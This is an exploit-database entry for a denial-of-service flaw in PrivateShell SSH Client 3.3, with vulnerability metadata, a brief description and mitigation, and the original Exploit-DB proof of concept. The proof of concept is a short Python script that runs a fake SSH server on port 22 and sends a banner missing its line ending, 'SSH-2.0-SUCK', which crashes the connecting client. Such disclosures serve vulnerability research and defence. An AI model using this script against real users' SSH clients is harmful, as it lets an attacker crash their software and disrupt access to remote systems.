privateshell SSH Client v.3.3 denial of service vulnerability

vendor:

PrivateShell SSH Client

by:

3unnym00n

7.5

CVSS

HIGH

Denial of Service

N/A

CWE

Product Name: PrivateShell SSH Client

Affected Version From: 3.3

Affected Version To: 3.3

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2015

privateshell SSH Client v.3.3 denial of service vulnerability

When doing the SSH version exchange, if the server sends a banner missing , it can lead the PrivateShell client to crash.

Mitigation:

Ensure that all SSH banners sent by the server include the required characters.

Source

Exploit-DB raw data:

'''
# Exploit title: privateshell SSH Client v.3.3 denial of service vulnerability
# Date: 27-5-2015
# Vendor homepage: www.privateshell.com
# Software Link: http://www.privateshell.com/files/pshell.exe
# Version: 3.3
# Author: 3unnym00n

# Details:
# --------
# when doing the ssh version exchange, if the server send a banner missing \r\n, can lead the pshell crash

# Tested On: win7
# operating steps: run the py, then execute : "D:\programfile\Private Shell\ssh.exe" root@127.0.0.1

'''



import socket
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.bind(('127.0.0.1', 22))
soc.listen(1)
client, addr = soc.accept()
client.send('SSH-2.0-SUCK') ## no "\r\n" lead to crash